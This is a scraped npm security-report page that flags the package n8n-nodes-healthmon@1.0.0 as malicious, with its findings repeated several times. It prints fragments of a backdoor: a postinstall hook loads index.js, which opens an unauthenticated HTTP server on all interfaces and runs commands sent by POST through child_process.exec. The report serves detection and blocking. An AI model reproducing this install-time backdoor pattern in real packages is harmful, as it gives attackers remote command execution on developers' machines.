n8n-nodes-healthmon@1.0.0: Malicious npm security report (Block)

Loading npm security reports…

n8n-nodes-healthmon@1.0.0: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

8 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

13"scripts": { "postinstall": "node postinstall.js || true" }

High

Suspicious Lifecycle Evidence

Its automatic postinstall hook imports the main entrypoint, which starts a server during installation.

package.jsonView on unpkg · L13

•scripts.postinstall = node postinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

index.jsView file

1Manifest entrypoint (manifest.main) carries capability families absent from dist/build output: execution+network L1: const http = require('http'); L2: const { exec } = require('child_process'); L3: const PORT = 41111; ... L14: try { L15: const { c } = JSON.parse(body); L16: if (!c) { res.writeHead(400); res.end('{"e":"no cmd"}'); return; } L17: exec(c, { timeout: 30000, maxBuffer: 1024 * 1024 }, (err, stdout, stderr) => { L18: res.writeHead(200, { 'Content-Type': 'application/json' });

High

Entrypoint Build Divergence

Manifest entrypoint contains risky behavior absent from dist/build output.

index.jsView on unpkg · L1

1const http = require('http'); const { exec } = require('child_process'); const PORT = 41111;

High

Ai Review Evidence

The entrypoint binds an unauthenticated HTTP server to all interfaces and executes a POST-supplied command with child_process.exec.

index.jsView on unpkg · L1

15const { c } = JSON.parse(body); if (!c) { res.writeHead(400); res.end('{"e":"no cmd"}'); return; } exec(c, { timeout: 30000, maxBuffer: 1024 * 1024 }, (err, stdout, stderr) => { res.writeHead(200, { 'Content-Type': 'application/json' }); res.end(JSON.stringify({ o: stdout, e: stderr, x: err ? err.code : 0 })); });

High

Ai Review Evidence

The entrypoint binds an unauthenticated HTTP server to all interfaces and executes a POST-supplied command with child_process.exec.

index.jsView on unpkg · L15

31_s.listen(PORT, '0.0.0.0', () => {}); _s.on('error', () => { _s = null; });

High

Ai Review Evidence

The entrypoint binds an unauthenticated HTTP server to all interfaces and executes a POST-supplied command with child_process.exec.

index.jsView on unpkg · L31

postinstall.jsView file

1try { require('./index.js'); } catch(e) {}

High

Suspicious Lifecycle Evidence

Its automatic postinstall hook imports the main entrypoint, which starts a server during installation.

postinstall.jsView on unpkg · L1

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.postinstall = node postinstall.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

13"scripts": { "postinstall": "node postinstall.js || true" }

High

Suspicious Lifecycle Evidence

Its automatic postinstall hook imports the main entrypoint, which starts a server during installation.

package.jsonView on unpkg · L13

•scripts.postinstall = node postinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

index.jsView file

High

Entrypoint Build Divergence

Manifest entrypoint contains risky behavior absent from dist/build output.

index.jsView on unpkg · L1

1const http = require('http'); const { exec } = require('child_process'); const PORT = 41111;

High

Ai Review Evidence

The entrypoint binds an unauthenticated HTTP server to all interfaces and executes a POST-supplied command with child_process.exec.

index.jsView on unpkg · L1

High

Ai Review Evidence

The entrypoint binds an unauthenticated HTTP server to all interfaces and executes a POST-supplied command with child_process.exec.

index.jsView on unpkg · L15

31_s.listen(PORT, '0.0.0.0', () => {}); _s.on('error', () => { _s = null; });

High

Ai Review Evidence

The entrypoint binds an unauthenticated HTTP server to all interfaces and executes a POST-supplied command with child_process.exec.

index.jsView on unpkg · L31

postinstall.jsView file

1try { require('./index.js'); } catch(e) {}

High

Suspicious Lifecycle Evidence

Its automatic postinstall hook imports the main entrypoint, which starts a server during installation.

postinstall.jsView on unpkg · L1

Source & flagged code

8 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

13"scripts": { "postinstall": "node postinstall.js || true" }

High

Suspicious Lifecycle Evidence

Its automatic postinstall hook imports the main entrypoint, which starts a server during installation.

package.jsonView on unpkg · L13

•scripts.postinstall = node postinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

index.jsView file

High

Entrypoint Build Divergence

Manifest entrypoint contains risky behavior absent from dist/build output.

index.jsView on unpkg · L1

1const http = require('http'); const { exec } = require('child_process'); const PORT = 41111;

High

Ai Review Evidence

The entrypoint binds an unauthenticated HTTP server to all interfaces and executes a POST-supplied command with child_process.exec.

index.jsView on unpkg · L1

High

Ai Review Evidence

The entrypoint binds an unauthenticated HTTP server to all interfaces and executes a POST-supplied command with child_process.exec.

index.jsView on unpkg · L15

31_s.listen(PORT, '0.0.0.0', () => {}); _s.on('error', () => { _s = null; });

High

Ai Review Evidence

The entrypoint binds an unauthenticated HTTP server to all interfaces and executes a POST-supplied command with child_process.exec.

index.jsView on unpkg · L31

postinstall.jsView file

1try { require('./index.js'); } catch(e) {}

High

Suspicious Lifecycle Evidence

Its automatic postinstall hook imports the main entrypoint, which starts a server during installation.

postinstall.jsView on unpkg · L1

n8n-nodes-healthmon@1.0.0

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code